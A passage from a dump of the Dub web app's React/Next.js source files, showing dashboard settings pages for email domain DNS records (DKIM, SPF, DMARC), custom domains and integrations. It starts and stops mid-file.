    "content": "import useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EmailDomainProps } from \"@/lib/types\";\nimport { GetDomainResponseSuccess } from \"@dub/email/resend/types\";\nimport { CircleCheck, CopyButton, StatusBadge, Table, useTable } from \"@dub/ui\";\nimport { capitalize, fetcher } from \"@dub/utils\";\nimport useSWRImmutable from \"swr/immutable\";\nimport { EMAIL_DOMAIN_STATUS_TO_VARIANT } from \"./constants\";\n\ninterface EmailDomainDnsRecordsProps {\n  domain: EmailDomainProps;\n}\n\ninterface DomainRecord {\n  record: string;\n  type: string;\n  name: string;\n  value: string;\n  ttl: string;\n  priority?: number | null;\n  status?:\n    | \"not_started\"\n    | \"verified\"\n    | \"pending\"\n    | \"failed\"\n    | \"temporary_failure\";\n}\n\ninterface DnsRecordsTableProps {\n  title: string;\n  description: React.ReactNode;\n  records: DomainRecord[];\n  showPriority?: boolean;\n  showStatus?: boolean;\n}\n\nfunction DnsRecordsTable({\n  title,\n  description,\n  records,\n  showPriority = false,\n  showStatus = false,\n}: DnsRecordsTableProps) {\n  const columns = [\n    {\n      id: \"type\",\n      header: \"Type\",\n      cell: ({ row }: { row: { original: DomainRecord } }) => (\n        <span className=\"text-content-default font-mono text-sm\">\n          {row.original.type}\n        </span>\n      ),\n      size: 80,\n      minSize: 80,\n      maxSize: 100,\n    },\n    {\n      id: \"name\",\n      header: \"Name\",\n      cell: ({ row }: { row: { original: DomainRecord } }) => (\n        <div className=\"flex min-w-0 items-center gap-2\">\n          <span\n            className=\"text-content-default truncate text-sm\"\n            title={row.original.name}\n          >\n            {row.original.name}\n          </span>\n          <CopyButton\n            variant=\"neutral\"\n            className=\"flex-shrink-0\"\n            value={row.original.name}\n          />\n        </div>\n      ),\n      size: 150,\n      minSize: 120,\n      maxSize: 200,\n    },\n    {\n      id: \"value\",\n      header: \"Value\",\n      cell: ({ row }: { row: { original: DomainRecord } }) => (\n        <div className=\"flex min-w-0 items-center gap-2\">\n          <span\n            className=\"text-content-default truncate text-sm\"\n            title={row.original.value}\n          >\n            {row.original.value}\n          </span>\n          <CopyButton\n            variant=\"neutral\"\n            className=\"flex-shrink-0\"\n            value={row.original.value}\n          />\n        </div>\n      ),\n      size: 300,\n      minSize: 200,\n      maxSize: 500,\n    },\n    {\n      id: \"ttl\",\n      header: \"TTL\",\n      cell: ({ row }: { row: { original: DomainRecord } }) => (\n        <span className=\"text-content-default text-sm\">{row.original.ttl}</span>\n      ),\n      size: 80,\n      minSize: 60,\n      maxSize: 100,\n    },\n  ];\n\n  if (showPriority) {\n    columns.push({\n      id: \"priority\",\n      header: \"Priority\",\n      cell: ({ row }: { row: { original: DomainRecord } }) => (\n        <span className=\"text-content-default text-sm\">\n          {row.original.priority ?? \"-\"}\n        </span>\n      ),\n      size: 80,\n      minSize: 60,\n      maxSize: 100,\n    });\n  }\n\n  if (showStatus) {\n    columns.push({\n      id: \"status\",\n      header: \"Status\",\n      cell: ({ row }: { row: { original: DomainRecord } }) => {\n        const status = row.original.status!;\n        const variant = EMAIL_DOMAIN_STATUS_TO_VARIANT[status];\n\n        return (\n          <StatusBadge variant={variant} icon={null}>\n            {capitalize(status.replace(/_/g, \" \"))}\n          </StatusBadge>\n        );\n      },\n      size: 120,\n      minSize: 100,\n      maxSize: 150,\n    });\n  }\n\n  const { table, ...tableProps } = useTable({\n    data: records,\n    columns,\n    getRowId: (row: DomainRecord) => `${row.type}-${row.name}`,\n    thClassName: \"border-l-0 py-1.5\",\n    tdClassName: \"border-l-0 py-1.5\",\n  });\n\n  return (\n    <div className=\"flex flex-col gap-2\">\n      <h3 className=\"text-sm font-semibold text-neutral-900\">{title}</h3>\n      {description}\n      <Table\n        {...tableProps}\n        table={table}\n        containerClassName=\"border-0 bg-transparent rounded-none\"\n        scrollWrapperClassName=\"min-h-0\"\n        emptyWrapperClassName=\"h-24\"\n        className=\"[&_tbody]:bg-transparent\"\n      />\n    </div>\n  );\n}\n\nexport function EmailDomainDnsRecords({ domain }: EmailDomainDnsRecordsProps) {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data, isValidating } = useSWRImmutable<GetDomainResponseSuccess>(\n    workspaceId &&\n      `/api/email-domains/${domain.slug}/verify?workspaceId=${workspaceId}`,\n    fetcher,\n    {\n      onError: (error) => {\n        console.error(\"Failed to fetch email domain verification\", error);\n      },\n    },\n  );\n\n  const isVerified = data?.status === \"verified\";\n  const records = data?.records || [];\n\n  const dmarcRecords = [\n    {\n      record: \"dmarc\",\n      type: \"TXT\",\n      name: \"_dmarc\",\n      value: \"v=DMARC1; p=none;\",\n      ttl: \"Auto\",\n    },\n  ];\n\n  return (\n    <div className=\"mt-4 space-y-4\">\n      {!records && !isValidating ? (\n        <div className=\"h-20 animate-pulse rounded-lg bg-neutral-200\" />\n      ) : isVerified ? (\n        <div className=\"flex items-center gap-2 text-pretty rounded-lg bg-green-100/80 p-3 text-sm text-green-600\">\n          <CircleCheck className=\"h-5 w-5 shrink-0\" />\n          <div>\n            Good news! All the DNS records are verified. You are ready to start\n            sending emails with this domain.\n          </div>\n        </div>\n      ) : records && records.length > 0 ? (\n        <div className=\"flex flex-col gap-8\">\n          <div className=\"flex flex-col gap-4 rounded-lg border border-neutral-200 bg-neutral-100 p-4\">\n            <div className=\"flex flex-col gap-6\">\n              {records.length > 0 && (\n                <DnsRecordsTable\n                  title=\"DKIM and SPF (Required)\"\n                  description={\n                    <p className=\"text-sm text-neutral-700\">\n                      To authorize Dub to send emails from{\" \"}\n                      <strong>{domain.slug}</strong> to your partners, verify\n                      that the DNS records listed below are properly configured\n                      in your domain's DNS settings.\n                    </p>\n                  }\n                  records={records}\n                  showPriority\n                  showStatus\n                />\n              )}\n            </div>\n          </div>\n\n          <div className=\"flex flex-col rounded-lg border border-neutral-200 bg-neutral-100 p-4\">\n            {dmarcRecords.length > 0 && (\n              <DnsRecordsTable\n                title=\"DMARC (Recommended)\"\n                description={\n                  <p className=\"text-sm text-neutral-700\">\n                    Add DMARC record to build trust in your domain and protect\n                    against email spoofing.\n                  </p>\n                }\n                records={dmarcRecords}\n              />\n            )}\n          </div>\n        </div>\n      ) : (\n        <div className=\"rounded-lg bg-neutral-100/80 p-4 text-center text-sm text-neutral-600\">\n          Loading verification records...\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/email/page-client.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport { useEmailDomains } from \"@/lib/swr/use-email-domains\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { EmailDomainProps } from \"@/lib/types\";\nimport { useAddEditEmailDomainModal } from \"@/ui/modals/add-edit-email-domain-modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { ArrowTurnRight2, Button, buttonVariants } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { EmailDomainCard } from \"app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/email/email-domain-card\";\nimport { Mail } from \"lucide-react\";\nimport Link from \"next/link\";\n\nexport function EmailDomains() {\n  const { slug, plan } = useWorkspace();\n\n  const {\n    emailDomains,\n    loading: emailDomainsLoading,\n    error: emailDomainsError,\n  } = useEmailDomains();\n\n  const { canSendEmailCampaigns } = getPlanCapabilities(plan);\n\n  if (!canSendEmailCampaigns) {\n    return (\n      <div className=\"grid gap-5\">\n        <div className=\"animate-fade-in\">\n          <AnimatedEmptyState\n            title=\"Connect email domains\"\n            description=\"Add email domains for branded partner communications. Available on Advanced plans and higher\"\n            cardContent={\n              <>\n                <Mail className=\"size-4 text-neutral-700\" />\n                <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                <div className=\"xs:flex hidden grow items-center justify-end gap-1.5 text-neutral-500\">\n                  <ArrowTurnRight2 className=\"size-3.5\" />\n                </div>\n              </>\n            }\n            addButton={\n              <Link\n                href={`/${slug}/upgrade`}\n                className={cn(\n                  buttonVariants({ variant: \"primary\" }),\n                  \"flex h-9 items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm\",\n                )}\n              >\n                Upgrade\n              </Link>\n            }\n            learnMoreHref=\"https://dub.co/help/article/email-domains\"\n          />\n        </div>\n      </div>\n    );\n  }\n\n  return emailDomainsLoading ? (\n    <EmailDomainSkeleton />\n  ) : emailDomainsError ? (\n    <NoEmailDomains />\n  ) : emailDomains && emailDomains.length > 0 ? (\n    <EmailDomainsList domains={emailDomains || []} />\n  ) : (\n    <NoEmailDomains />\n  );\n}\n\nconst NoEmailDomains = () => {\n  const { addEditEmailDomainModal, setIsOpen } = useAddEditEmailDomainModal({});\n\n  return (\n    <>\n      {addEditEmailDomainModal}\n      <div className=\"animate-fade-in\">\n        <AnimatedEmptyState\n          title=\"No email domains\"\n          description=\"Add email domains for branded partner communications\"\n          cardContent={\n            <>\n              <Mail className=\"size-4 text-neutral-700\" />\n              <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n              <div className=\"xs:flex hidden grow items-center justify-end gap-1.5 text-neutral-500\">\n                <ArrowTurnRight2 className=\"size-3.5\" />\n              </div>\n            </>\n          }\n          addButton={\n            <Button\n              variant=\"primary\"\n              text=\"Add domain\"\n              onClick={() => setIsOpen(true)}\n              className=\"h-9 rounded-lg\"\n            />\n          }\n          learnMoreHref=\"https://dub.co/help/article/email-domains\"\n        />\n      </div>\n    </>\n  );\n};\n\nconst EmailDomainSkeleton = () => {\n  return (\n    <div className=\"grid gap-5\">\n      <div className=\"animate-fade-in space-y-3\">\n        {[...Array(1)].map((_, i) => (\n          <div\n            key={i}\n            className=\"rounded-xl border border-neutral-200 bg-white p-4 sm:p-5\"\n          >\n            <div className=\"flex w-full items-center justify-between gap-2\">\n              <div className=\"flex min-w-0 items-center gap-3\">\n                <div className=\"size-10 shrink-0 animate-pulse rounded-full bg-neutral-200\" />\n                <div className=\"flex min-w-0 flex-col gap-2\">\n                  <div className=\"h-4 w-32 animate-pulse rounded bg-neutral-200\" />\n                  <div className=\"h-3 w-40 animate-pulse rounded bg-neutral-200\" />\n                </div>\n              </div>\n\n              <div className=\"flex items-center gap-2.5\">\n                <div className=\"h-8 w-20 animate-pulse rounded-lg bg-neutral-200\" />\n                <div className=\"size-8 animate-pulse rounded-lg bg-neutral-200\" />\n                <div className=\"size-8 animate-pulse rounded-lg bg-neutral-200\" />\n                <div className=\"size-8 animate-pulse rounded-lg bg-neutral-200\" />\n              </div>\n            </div>\n          </div>\n        ))}\n      </div>\n    </div>\n  );\n};\n\nconst EmailDomainsList = ({ domains }: { domains: EmailDomainProps[] }) => {\n  return (\n    <div className=\"grid gap-5\">\n      <div className=\"animate-fade-in space-y-3\">\n        {domains.map((emailDomain) => (\n          <EmailDomainCard key={emailDomain.id} domain={emailDomain} />\n        ))}\n      </div>\n    </div>\n  );\n};\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/email/page.tsx",
    "content": "import { EmailDomains } from \"./page-client\";\n\nexport default function EmailDomainsPage() {\n  return <EmailDomains />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/header.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { TabSelect } from \"@dub/ui\";\nimport { useSelectedLayoutSegment } from \"next/navigation\";\n\nexport function DomainsHeader({\n  baseUrl = \"/settings/domains\",\n}: {\n  baseUrl?: `/${string}`;\n}) {\n  const { slug, plan, defaultProgramId } = useWorkspace();\n  const { canSendEmailCampaigns } = getPlanCapabilities(plan);\n  const selectedLayoutSegment = useSelectedLayoutSegment();\n  const page = selectedLayoutSegment === null ? \"\" : selectedLayoutSegment;\n\n  return (\n    <div className=\"-mt-4 border-b border-neutral-200\">\n      <TabSelect\n        options={[\n          {\n            id: \"\",\n            label: \"Custom domains\",\n            href: `/${slug}${baseUrl}`,\n          },\n          ...(canSendEmailCampaigns && defaultProgramId\n            ? [\n                {\n                  id: \"email\",\n                  label: \"Email domains\",\n                  href: `/${slug}${baseUrl}/email`,\n                },\n              ]\n            : []),\n          {\n            id: \"default\",\n            label: \"Default domains\",\n            href: `/${slug}${baseUrl}/default`,\n          },\n        ]}\n        selected={page}\n      />\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\nimport { DomainsHeader } from \"./header\";\n\nexport default function DomainsLayout({ children }: { children: ReactNode }) {\n  return (\n    <PageContent\n      title=\"Domains\"\n      titleInfo={{\n        title:\n          \"Learn more about how to add, configure, and verify custom domains on Dub.\",\n        href: \"https://dub.co/help/article/how-to-add-custom-domain\",\n      }}\n    >\n      <PageWidthWrapper>\n        <div className=\"grid gap-4\">\n          <DomainsHeader />\n          {children}\n        </div>\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useDomains from \"@/lib/swr/use-domains\";\nimport useDomainsCount from \"@/lib/swr/use-domains-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DOMAINS_MAX_PAGE_SIZE } from \"@/lib/zod/schemas/domains\";\nimport DomainCard from \"@/ui/domains/domain-card\";\nimport DomainCardPlaceholder from \"@/ui/domains/domain-card-placeholder\";\nimport { FreeDotLinkBanner } from \"@/ui/domains/free-dot-link-banner\";\nimport { useAddEditDomainModal } from \"@/ui/modals/add-edit-domain-modal\";\nimport { useRegisterDomainModal } from \"@/ui/modals/register-domain-modal\";\nimport { useRegisterDomainSuccessModal } from \"@/ui/modals/register-domain-success-modal\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport {\n  Badge,\n  Button,\n  CursorRays,\n  Globe,\n  LinkBroken,\n  PaginationControls,\n  Popover,\n  ToggleGroup,\n  TooltipContent,\n  usePagination,\n  useRouterStuff,\n} from \"@dub/ui\";\nimport { capitalize, pluralize } from \"@dub/utils\";\nimport { ChevronDown, Crown } from \"lucide-react\";\nimport { useEffect, useState } from \"react\";\n\nexport function CustomDomains() {\n  const {\n    id: workspaceId,\n    plan,\n    nextPlan,\n    role,\n    domainsLimit,\n    exceededDomains,\n    dotLinkClaimed,\n  } = useWorkspace();\n\n  const [openPopover, setOpenPopover] = useState(false);\n  const { searchParams, queryParams } = useRouterStuff();\n  const { allWorkspaceDomains, loading } = useDomains({\n    opts: { includeLink: \"true\" },\n  });\n  const { data: domainsCount } = useDomainsCount();\n\n  const { pagination, setPagination } = usePagination(DOMAINS_MAX_PAGE_SIZE);\n\n  const archived = searchParams.get(\"archived\");\n  const search = searchParams.get(\"search\");\n\n  const { AddEditDomainModal, AddDomainButton, setShowAddEditDomainModal } =\n    useAddEditDomainModal({\n      buttonProps: {\n        className: \"h-9 rounded-lg\",\n      },\n    });\n\n  const { RegisterDomainModal, setShowRegisterDomainModal } =\n    useRegisterDomainModal();\n\n  const { RegisterDomainSuccessModal, setShowRegisterDomainSuccessModal } =\n    useRegisterDomainSuccessModal();\n\n  useEffect(\n    () => setShowRegisterDomainSuccessModal(searchParams.has(\"registered\")),\n    [searchParams],\n  );\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"domains.write\",\n    role,\n  });\n\n  const disabledTooltip = exceededDomains ? (\n    <TooltipContent\n      title={`You can only add up to ${domainsLimit} ${pluralize(\n        \"domain\",\n        domainsLimit || 0,\n      )} on the ${capitalize(plan)} plan. Upgrade to add more domains`}\n      cta=\"Upgrade\"\n      onClick={() => {\n        queryParams({\n          set: {\n            upgrade: nextPlan.name.toLowerCase(),\n          },\n        });\n      }}\n    />\n  ) : (\n    permissionsError || undefined\n  );\n\n  return (\n    <>\n      <RegisterDomainSuccessModal />\n      <div className=\"grid gap-5\">\n        <div className=\"flex flex-wrap justify-between gap-6\">\n          <div className=\"w-full sm:w-auto\">\n            <SearchBoxPersisted\n              loading={loading}\n              onChangeDebounced={(t) => {\n                if (t) {\n                  queryParams({ set: { search: t }, del: \"page\" });\n                } else {\n                  queryParams({ del: \"search\" });\n                }\n              }}\n            />\n          </div>\n          <div className=\"flex w-full flex-wrap items-center gap-3 sm:w-auto\">\n            <ToggleGroup\n              options={[\n                { value: \"active\", label: \"Active\" },\n                { value: \"archived\", label: \"Archived\" },\n              ]}\n              selected={archived ? \"archived\" : \"active\"}\n              selectAction={(id) =>\n                id === \"active\"\n                  ? queryParams({ del: [\"archived\", \"page\"] })\n                  : queryParams({ set: { archived: \"true\" }, del: \"page\" })\n              }\n            />\n\n            <Popover\n              content={\n                <div className=\"grid w-screen gap-px p-2 sm:w-fit sm:min-w-[17rem]\">\n                  <Button\n                    text=\"Connect a domain you own\"\n                    variant=\"outline\"\n                    icon={<Globe className=\"h-4 w-4\" />}\n                    className=\"h-9 justify-start px-2 text-neutral-800\"\n                    onClick={() => setShowAddEditDomainModal(true)}\n                  />\n                  <Button\n                    text={\n                      <div className=\"flex items-center gap-3\">\n                        Claim free .link domain\n                        {plan === \"free\" ? (\n                          <Badge\n                            variant=\"neutral\"\n                            className=\"flex items-center gap-1\"\n                          >\n                            <Crown className=\"size-3\" />\n                            <span className=\"uppercase\">Pro</span>\n                          </Badge>\n                        ) : dotLinkClaimed ? (\n                          <span className=\"rounded-md border border-green-200 bg-green-500/10 px-1 py-0.5 text-xs text-green-900\">\n                            Claimed\n                          </span>\n                        ) : null}\n                      </div>\n                    }\n                    variant=\"outline\"\n                    icon={<LinkBroken className=\"size-4\" />}\n                    className=\"h-9 justify-start px-2 text-neutral-800 disabled:border-none disabled:bg-transparent disabled:text-neutral-500\"\n                    onClick={() => setShowRegisterDomainModal(true)}\n                    disabled={dotLinkClaimed}\n                  />\n                </div>\n              }\n              align=\"end\"\n              openPopover={openPopover}\n              setOpenPopover={setOpenPopover}\n            >\n              <Button\n                variant=\"primary\"\n                className=\"h-9 w-fit rounded-lg\"\n                text={\n                  <div className=\"flex items-center gap-2\">\n                    Add custom domain{\" \"}\n                    <ChevronDown className=\"size-4 transition-transform duration-75 group-data-[state=open]:rotate-180\" />\n                  </div>\n                }\n                onClick={() => setOpenPopover(!openPopover)}\n                disabledTooltip={disabledTooltip}\n              />\n            </Popover>\n          </div>\n        </div>\n\n        {workspaceId && (\n          <>\n            <AddEditDomainModal />\n            <RegisterDomainModal />\n          </>\n        )}\n\n        {!dotLinkClaimed && <FreeDotLinkBanner />}\n\n        <div key={archived} className=\"animate-fade-in\">\n          {!loading ? (\n            allWorkspaceDomains.length > 0 ? (\n              <ul className=\"grid grid-cols-1 gap-3\">\n                {allWorkspaceDomains.map((domain) => (\n                  <li key={domain.slug}>\n                    <DomainCard props={domain} />\n                  </li>\n                ))}\n              </ul>\n            ) : archived || search ? (\n              <div className=\"flex flex-col items-center gap-4 rounded-xl border border-neutral-200 py-10\">\n                <EmptyState\n                  icon={Globe}\n                  title={\n                    archived\n                      ? \"No archived domains found\"\n                      : \"No custom domains found\"\n                  }\n                />\n                <AddDomainButton />\n              </div>\n            ) : (\n              <AnimatedEmptyState\n                title=\"No custom domains found\"\n                description=\"Use custom domains for better brand recognition and click-through rates\"\n                cardContent={\n                  <>\n                    <Globe className=\"size-4 text-neutral-700\" />\n                    <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n                    <div className=\"xs:flex hidden grow items-center justify-end gap-1.5 text-neutral-500\">\n                      <CursorRays className=\"size-3.5\" />\n                    </div>\n                  </>\n                }\n                addButton={<AddDomainButton />}\n                learnMoreHref=\"https://dub.co/help/article/how-to-add-custom-domain\"\n              />\n            )\n          ) : (\n            <ul className=\"grid grid-cols-1 gap-3\">\n              {Array.from({ length: 5 }).map((_, idx) => (\n                <li key={idx}>\n                  <DomainCardPlaceholder />\n                </li>\n              ))}\n            </ul>\n          )}\n        </div>\n        <div className=\"sticky bottom-0 rounded-b-[inherit] border-t border-neutral-200 bg-white px-3.5 py-2\">\n          <PaginationControls\n            pagination={pagination}\n            setPagination={setPagination}\n            totalCount={domainsCount || 0}\n            unit={(p) => `domain${p ? \"s\" : \"\"}`}\n          />\n        </div>\n      </div>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/domains/page.tsx",
    "content": "import { CustomDomains } from \"./page-client\";\n\nexport default function CustomDomainsPage() {\n  return <CustomDomains />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/[integrationSlug]/loading.tsx",
    "content": "import { MaxWidthWrapper } from \"@dub/ui\";\n\nexport default function IntegrationPageLoading() {\n  return (\n    <MaxWidthWrapper className=\"grid max-w-screen-md gap-8\">\n      <div className=\"h-4 w-28 rounded-full bg-neutral-100\" />\n      <div className=\"flex justify-between gap-2\">\n        <div className=\"flex items-center gap-x-3\">\n          <div className=\"h-12 w-12 rounded-md bg-neutral-100\" />\n          <div>\n            <div className=\"h-6 w-40 rounded-full bg-neutral-100\" />\n            <div className=\"mt-1 h-4 w-60 rounded-full bg-neutral-100\" />\n          </div>\n        </div>\n      </div>\n\n      <div className=\"h-24 w-full rounded-lg bg-neutral-100\" />\n\n      <div className=\"w-full rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"flex items-center gap-x-2 border-b border-neutral-200 px-6 py-4\">\n          <div className=\"h-4 w-4 rounded-full bg-neutral-100\" />\n          <div className=\"h-5 w-20 rounded-full bg-neutral-100\" />\n        </div>\n        <div className=\"p-6\">\n          <div className=\"h-64 w-full rounded-md bg-neutral-100\" />\n        </div>\n      </div>\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/[integrationSlug]/manage/page.tsx",
    "content": "import AddEditIntegrationForm from \"@/ui/oauth-apps/add-edit-integration-form\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { prisma } from \"@dub/prisma\";\nimport { MaxWidthWrapper } from \"@dub/ui\";\nimport { redirect } from \"next/navigation\";\n\nexport const revalidate = 0;\n\nexport default async function IntegrationManagePage(props: {\n  params: Promise<{ slug: string; integrationSlug: string }>;\n}) {\n  const params = await props.params;\n  // this is only available for Dub workspace for now\n  // we might open this up to other workspaces in the future\n  if (params.slug !== \"dub\") {\n    redirect(`/${params.slug}/settings/integrations`);\n  }\n  const integration = await prisma.integration.findUnique({\n    where: {\n      slug: params.integrationSlug,\n    },\n  });\n  if (!integration) {\n    redirect(`/${params.slug}/settings/integrations`);\n  }\n  return (\n    <MaxWidthWrapper className=\"grid max-w-screen-lg gap-8\">\n      <BackLink href={`/${params.slug}/settings/integrations`}>\n        Back to integrations\n      </BackLink>\n\n      <AddEditIntegrationForm\n        integration={{\n          ...integration,\n          screenshots: integration.screenshots as string[],\n        }}\n      />\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/[integrationSlug]/page-client.tsx",
    "content": "\"use client\";\n\nimport { getIntegrationInstallUrl } from \"@/lib/actions/get-integration-install-url\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport { HubSpotSettings } from \"@/lib/integrations/hubspot/ui/settings\";\nimport { SegmentSettings } from \"@/lib/integrations/segment/ui/settings\";\nimport { SlackSettings } from \"@/lib/integrations/slack/ui/settings\";\nimport { StripeIntegrationSettings } from \"@/lib/integrations/stripe/ui/settings\";\nimport { ZapierSettings } from \"@/lib/integrations/zapier/ui/settings\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { InstalledIntegrationInfoProps } from \"@/lib/types\";\nimport { IntegrationLogo } from \"@/ui/integrations/integration-logo\";\nimport { useUninstallIntegrationModal } from \"@/ui/modals/uninstall-integration-modal\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { Markdown } from \"@/ui/shared/markdown\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport {\n  BlurImage,\n  Button,\n  buttonVariants,\n  Carousel,\n  CarouselContent,\n  CarouselItem,\n  CarouselNavBar,\n  CarouselThumbnail,\n  CarouselThumbnails,\n  Logo,\n  MaxWidthWrapper,\n  Popover,\n  Tooltip,\n  TooltipContent,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport {\n  CircleWarning,\n  ConnectedDots,\n  DubCraftedShield,\n  Globe,\n  OfficeBuilding,\n  Trash,\n} from \"@dub/ui/icons\";\nimport {\n  cn,\n  DUB_WORKSPACE_ID,\n  formatDate,\n  getDomainWithoutWWW,\n  SEGMENT_INTEGRATION_ID,\n  SLACK_INTEGRATION_ID,\n  STRIPE_INTEGRATION_ID,\n  ZAPIER_INTEGRATION_ID,\n} from \"@dub/utils\";\nimport { HUBSPOT_INTEGRATION_ID } from \"@dub/utils/src/constants/integrations\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport Link from \"next/link\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\n\nconst integrationSettings = {\n  [ZAPIER_INTEGRATION_ID]: ZapierSettings,\n  [SLACK_INTEGRATION_ID]: SlackSettings,\n  [SEGMENT_INTEGRATION_ID]: SegmentSettings,\n  [HUBSPOT_INTEGRATION_ID]: HubSpotSettings,\n  [STRIPE_INTEGRATION_ID]: StripeIntegrationSettings,\n};\n\nexport default function IntegrationPageClient({\n  integration,\n}: {\n  integration: InstalledIntegrationInfoProps;\n}) {\n  const { id: workspaceId, slug, plan, role } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"integrations.write\",\n    role,\n  }).error;\n  const { isMobile } = useMediaQuery();\n\n  const [openPopover, setOpenPopover] = useState(false);\n  const { execute, isPending } = useAction(getIntegrationInstallUrl, {\n    onSuccess: ({ data }) => {\n      if (!data?.url) {\n        throw new Error(\"Error getting installation URL\");\n      }\n\n      window.location.href = data.url;\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const { UninstallIntegrationModal, setShowUninstallIntegrationModal } =\n    useUninstallIntegrationModal({\n      integration,\n    });\n\n  const SettingsComponent = integrationSettings[integration.id] || null;\n\n  return (\n    <MaxWidthWrapper className=\"grid max-w-screen-lg grid-cols-1 gap-6\">\n      {integration.installed && <UninstallIntegrationModal />}\n      <BackLink href={`/${slug}/settings/integrations`}>Integrations</BackLink>\n      <div className=\"flex justify-between gap-8\">\n        <div className=\"flex flex-col gap-3 sm:flex-row sm:items-center\">\n          <IntegrationLogo\n            src={integration.logo ?? null}\n            alt={`Logo for ${integration.name}`}\n            className=\"size-10 sm:size-14 sm:rounded-lg\"\n          />\n          <div>\n            <div className=\"flex items-center gap-1.5\">\n              <h1 className=\"text-base font-semibold leading-none text-neutral-800\">\n                {integration.name}\n              </h1>\n              {integration.projectId === DUB_WORKSPACE_ID ? (\n                <Tooltip content=\"This is an official integration built and maintained by Dub\">\n                  <div>\n                    <DubCraftedShield className=\"size-4 -translate-y-px\" />\n                  </div>\n                </Tooltip>\n              ) : !integration.verified ? (\n                <Tooltip content=\"Dub hasn't verified this integration. Install it at your own risk.\">\n                  <div>\n                    <CircleWarning className=\"size-5 text-neutral-500\" invert />\n                  </div>\n                </Tooltip>\n              ) : null}\n            </div>\n            <p className=\"mt-1 text-[0.8125rem] leading-snug text-neutral-600\">\n              {integration.description}\n            </p>\n          </div>\n        </div>\n\n        {integration.installed && (\n          <Popover\n            align=\"end\"\n            content={\n              <div className=\"grid w-screen gap-px p-2 sm:w-48\">\n                <Button\n                  text=\"Remove Integration\"\n                  variant=\"danger-outline\"\n                  icon={<Trash className=\"size-4\" />}\n                  className=\"h-9 justify-start px-2\"\n                  onClick={() => {\n                    setShowUninstallIntegrationModal(true);\n                  }}\n                  disabledTooltip={\n                    integration.slug === \"stripe\" ? (\n                      <TooltipContent\n                        title=\"You cannot uninstall the Stripe integration from here. Please visit the Stripe dashboard to uninstall the app.\"\n                        cta=\"Go to Stripe\"\n                        href=\"https://dashboard.stripe.com/settings/apps/dub.co\"\n                        target=\"_blank\"\n                      />\n                    ) : (\n                      permissionsError || undefined\n                    )\n                  }\n                />\n              </div>\n            }\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <button\n              onClick={() => setOpenPopover(!openPopover)}\n              className={cn(\n                \"flex h-10 items-center rounded-md border px-1.5 outline-none transition-all\",\n                \"border-neutral-200 bg-white text-neutral-900 placeholder-neutral-400\",\n                \"focus-visible:border-neutral-500 data-[state=open]:border-neutral-500 data-[state=open]:ring-4 data-[state=open]:ring-neutral-200\",\n              )}\n            >\n              <ThreeDots className=\"h-5 w-5 text-neutral-500\" />\n            </button>\n          </Popover>\n        )}\n      </div>\n\n      <div className=\"flex flex-col justify-between gap-4 rounded-lg border border-neutral-200 bg-white p-4 sm:flex-row sm:gap-0\">\n        <div className=\"flex flex-col gap-4 sm:flex-row sm:gap-8\">\n          {[\n            ...(integration.installed\n              ? [\n                  {\n                    label: \"Enabled by\",\n                    content: (\n                      <span className=\"text-neutral-700\">\n                        <UserAvatar\n                          user={integration.installed.by}\n                          className=\"inline-block size-3 